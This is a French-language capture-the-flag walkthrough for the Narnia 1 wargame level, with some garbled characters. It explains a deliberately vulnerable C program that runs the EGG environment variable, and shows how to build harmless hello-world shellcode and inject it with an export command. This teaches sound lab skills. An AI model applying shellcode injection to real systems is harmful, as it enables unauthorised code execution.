ūü¶Ā¬†Narnia 1

ūü¶Ā¬†Narnia 1

1 February 2023 Narnia challenges 0

ūü¶Ā Narnia

Si vous n’êtes pas encore familier avec les challenges Narnia, je vous recommande de commencer par le 1er article sur Narnia0 : https://mindshield.eu/index.php/2023/02/01/narnia_0/

 

Pour rappel, le but de ce guide n‚Äôest pas de vous donner la r√©ponse, mais plut√īt de vous y amener par la compr√©hension. Ainsi, il ne contient pas de flag.

Table des Matières

Narnia1

Si mes explications ont été suffisamment claires et précises et que vous avez été persévérant, vous avez normalement obtenu le mot de passe du compte narnia1.

Nous pouvons ainsi créer une nouvelle session SSH avec cet utilisateur.

Découverte

De la même manière que narnia0, nous avons accès au code source de l’exécutable narnia1 :

				
					#include 

int main(){
int (*ret)();

if(getenv("EGG")==NULL){
    printf("Give me something to execute at the env-variable EGG\\n");
    exit(1);
}

printf("Trying to execute EGG!\\n");
ret = getenv("EGG");
ret();

return 0;
}
				
			

Pour faire simple, ce script lit la valeur de la variable d‚Äôenvironnement ‚ÄúEGG‚ÄĚ. Cette valeur est vide par d√©faut. Nous pouvons lui configurer une valeur en tapant la commande :

				
					export EGG=test
				
			

Seulement, cela produit un Segmentation Fault:

Cela signifie que le processeur ne comprend pas une instruction et que par conséquent il ne peut pas l’exécuter. Il s’attend en effet à une valeur de EGG soit exécutable…

Apr√®s diff√©rentes tentatives, j‚Äôai fait quelques recherches sur comment je pourrais passer une valeur compr√©hensible par l’ordinateur.

Et c’est à ce moment-là que j’ai découvert les shellcodes.

Qu'est-ce qu'un shellcode ?

Un shellcode est un ensemble de caractère qui est interprétable par la machine.

 

Cela se présente sous cette forme-ci :

				
					\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xb9\x00\x00\x00\x00\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80
				
			

Ce shellcode permet par exemple d’afficher Hello World.

Mais comment fabrique-t-on un shellcode ?! Me diriez-vous.

Ce n’est pas aussi compliqué que cela en a l’air.

Réflexion

La premi√®re √©tape de la ‚Äúfabrication‚ÄĚ d‚Äôun shellcode est d‚Äô√©crire le programme en assembleur.

Par exemple, on souhaite afficher ‚ÄúHello World‚ÄĚ :

				
					section .text

global _start


_start:

        jmp short ender ; on saute à ender

        starter:

¬†¬†¬†¬†¬†¬†¬† xor rax, rax¬†¬†¬† ;on nettoie les registres pour √™tre s√Ľr qu'ils soient vides
        xor rbx, rbx
        xor rdx, rdx
        xor rcx, rcx

        mov al, 4       ;on appelle la fonction write (syscall write)
        mov bl, 1       ;on veut écrire sur la sortie standard (stdout = 1)
        pop ecx         ;on récupère l'adresse mémoire de notre chaine sur la pile
        mov dl, 11      ;longueur de la chaine de caractère
				int 0x80        ;appel système pour executer la première partie du code

        xor rax, rax     ;on remet rax à 0
        mov al, 1       ;appel système pour sortir (exit)
	      xor rbx,rbx     ; on remet à 0 le base pointer parce que c'est plus propre
        int 0x80        ; appel système pour sortir

        ender:
        call starter	;on appelle starter et on met l'adresse de la chaine sur la pile
        db "hello world"
				
			

On compile le code avec la commande :

				
					nasm -f elf64 hello.s
				
			

On obtient un fichier en .o. Il nous suffit de le transformer en executable linux avec la commande :

				
					ld -s -o hello hello.o
				
			

Cette commande permet de lier le code objet avec les librairies de l’OS et de cr√©er un fichier ELF. On obtient ainsi un fichier ex√©cutable, qui nous affiche bien ‚Äúhello world‚ÄĚ si nous l‚Äôex√©cutons.

 

En tapant la commande :

				
					objdump -d hello
				
			

On obtient la fonction désassemblée, avec les adresses mémoires, en hexadécimal de notre code :

Encadré en rouge, vous pouvez voir notre code, en hexadécimal, dans un langage compréhensible par la machine. Ce sont ces caractères qui vont composer notre shellcode.

Voici ce que donne notre shellcode dans cet exemple :

				
					\x48\x31\xc0\x48\x31\xdb\x48\x31\xd2\x48\x31\xc9\xb0\x04\xb3\x0b\x59\xb2\x0b\xcd\x80\x48\x31\xc0\xb0\x01\x48x\x31\xdb\xcd\x80\xe8\xdc\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64
				
			

¬†‚ö†ÔłŹ ¬†Attention : votre shellcode ne DOIT PAS contenir de \x00, sinon il ne fonctionnera pas.

En effet, ce caract√®re correspond √† la fin d’une chaine de caract√®re. La suite du shellcode ne sera ainsi pas interpr√©t√©.

Pour résoudre ce problème, il vous faudra utiliser les bonnes tailles de registres.

Une fois votre shellcode cr√©√©, il ne vous reste plus qu‚Äô√† l‚Äôinjecter dans la variable d‚Äôenvironnement ‚ÄúEGG‚ÄĚ.

‚ö†ÔłŹ Attention : Votre shellcode doit pouvoir √™tre interpr√©t√© comme du contenu ex√©cutable. Vous ne pouvez pas simplement attribuer √† EGG la valeur du shellcode.

Pour cela nous allons nous aider de python !

Gr√Ęce √† cette commande, nous allons pouvoir ex√©cuter le shellcode :

				
					export EGG=$(python2 -c 'print("\x48\x31\xc0\x48\x31\xdb\x48\x31\xd2\x48\x31\xc9\xb0\x04\xb3\x0b\x59\xb2\x0b\xcd\x80\x48\x31\xc0\xb0\x01\x48x\x31\xdb\xcd\x80\xe8\xdc\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64")')
				
			

Vous avez maintenant compris le fonctionnement d’un shellcode ainsi que sa construction. Vous avez donc toutes les cartes en main pour résoudre ce challenge. Il ne vous manque plus qu’à fabriquer un shellcode fonctionnel pour ce cas.

Si vous n‚Äô√™tes pas √† l‚Äôaise avec l‚Äôassembleur, vous pouvez aussi utiliser des shellcodes pr√™t √† l‚Äôemploi : shell-storm | Shellcodes Database ou vous aider de Metasploit : Venom – Le g√©n√©rateur de shellcode Metasploit ‚Äď Homputer Security

Ressources